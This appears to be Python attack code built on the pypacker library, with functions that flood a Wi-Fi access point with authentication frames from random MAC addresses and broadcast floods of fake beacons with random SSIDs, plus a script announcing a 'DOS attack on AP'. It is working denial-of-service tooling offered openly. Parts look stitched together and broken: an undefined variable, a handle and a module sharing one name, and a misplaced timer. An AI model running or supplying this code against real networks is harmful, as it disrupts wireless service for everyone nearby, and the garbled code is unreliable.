def send_auth(mac): """Send authentications to ap having mac 'mac'""" auth_req = copy.deepcopy(auth_req_orig) start_time = time.time() for i in range(1000000): if i % 500 == 0: diff = time.time() - start_time print("%d pps" % (i / diff)) auth_req[ieee80211.IEEE80211.Auth].src = pypacker.get_rnd_mac() try: psocket.send(auth_req.bin()) except socket.timeout: # timeout on sending? that's ok pass
def send_beacon(_): """Send beacon having mac 'mac'""" beacon = copy.deepcopy(beacon_orig) start_time = time.time() aps_per_channel = 5 current_channel = 1 for i in range(1, 10000): if i % 100 == 0: diff = time.time() - start_time print("%d pps" % (i / diff)) if i % aps_per_channel == 0: current_channel += 1 current_channel %= 13 if current_channel == 0: current_channel = 1 # utils.switch_wlan_channel(wlan_monitor_if, current_channel) _beacon = beacon[ieee80211.IEEE80211.Beacon] mac = pypacker.get_rnd_mac() _beacon.src = mac _beacon.bssid = mac # set new ssid _beacon.params[0].body_bytes = bytes("".join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)), "ascii") # print(_beacon.params[0].body_bytes) _beacon.seq = 0 # print(_beacon) try: for x in range(100): # send multiple beacons for every ap psocket.send(beacon.bin()) _beacon.seq = x # _beacon.ts = x << (8*7) _beacon.ts = x except socket.timeout: # timeout on sending? that's ok pass
import time # name of monitor interface to use wlan_monitor_if = "prism0" # MAC address of access point ap_mac = "00:11:22:33:44:55" mon_sock = psocket.SocketHndl(wlan_monitor_if) auth_req = prism(len=24) +\ ieee80211.IEEE80211(type=ieee80211.MGMT_TYPE, subtype=ieee80211.M_AUTH, to_ds=1, from_ds=0) +\ ieee80211.IEEE80211.MGMTFrame(dst_s=ap_mac, bssid_s=ap_mac) +\ ieee80211.IEEE80211.Auth(auth_seq=1) print("starting DOS attack on AP %s" % ap_mac) for i in range(10000): #drvinfo = radiotap.Radiotap(raw_bytes) drvinfo = prism.Prism(raw_bytes) start_time = time.time() if i % 100 == 0: diff = time.time()-start_time print("%d pps" % (100/diff) ) try: auth_req[ieee80211.IEEE80211.MGMTFrame].src = pypacker.get_rnd_mac() psocket.send(auth_req.bin()) except Exception as e: mon_sock.close() print(e)